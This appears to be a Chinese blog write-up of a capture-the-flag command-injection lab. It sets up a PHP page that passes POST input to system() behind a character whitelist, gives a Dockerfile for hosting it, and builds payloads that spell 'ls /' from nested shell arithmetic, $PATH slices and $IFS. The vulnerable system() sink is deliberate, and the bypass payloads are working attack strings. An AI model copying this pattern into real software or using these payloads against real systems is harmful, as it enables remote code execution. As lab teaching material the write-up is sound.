当前位置：首页 > news >正文

受限字符+环境变量RCE

news 来源：原创 2025/4/29 7:02:44

文章

https://blog.csdn.net/weixin_46706771/article/details/119145129

https://github.com/ProbiusOfficial/RCE-labs

搭建

<?php
//hint: flag 在根目录下，名字是一个根目录下不常见的文件名
error_reporting(0);
show_source(__FILE__);
$a = $_POST['a'];
$b = '(~SHIP}:{TAF$)';
if (strspn($a, $b) !== strlen($a)) {die('hacker!!!');
}
system("$a");
?>

Dockerfile

# 使用官方的 PHP 镜像作为基础镜像，基于 Apache
FROM php:7.4-apache# 启用mod_rewrite模块，可能对某些CTF题目有用
RUN a2enmod rewrite# 将当前目录的代码复制到容器中的 /var/www/html 目录
COPY . /var/www/html/# 设置工作目录
WORKDIR /var/www/html# 打开容器的80端口
EXPOSE 80# 启动Apache服务（由镜像默认启动）
CMD ["apache2-foreground"]

进入容器执行
ls -l /bin/sh  # 查看当前指向（例如 /bin/sh -> dash）
rm /bin/sh     # 删除旧链接（谨慎操作！）
ln -s /bin/bash /bin/sh  # 让 /bin/sh 指向 bash

这样system可以执行环境变量切片

复现

echo ${PATH:5:1}${PATH:11:1}

然后我们通过构造数字

oct_list = [  # 构造数字 0-7 以便于后续八进制形式的构造'$(())',  # 0'$((~$(($((~$(())))$((~$(())))))))',  # 1'$((~$(($((~$(())))$((~$(())))$((~$(())))))))',  # 2'$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))))))',  # 3'$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))',  # 4'$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))',  # 5'$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))',  # 6'$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))',  # 7
]

但是这里我们有一个11 需要构造八进制的 0 1 3 实现

echo $((013))

输出11 所以我们这样构造即可

$(($(())$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))))))))

最后构造整个ls / 空格使用 $IFS绕过

echo ${PATH:$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(()))))))):$((~$(($((~$(())))$((~$(())))))))}${PATH:$(($(())$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(()))))))))):$((~$(($((~$(())))$((~$(())))))))}$IFS${PATH::$((~$(($((~$(())))$((~$(())))))))}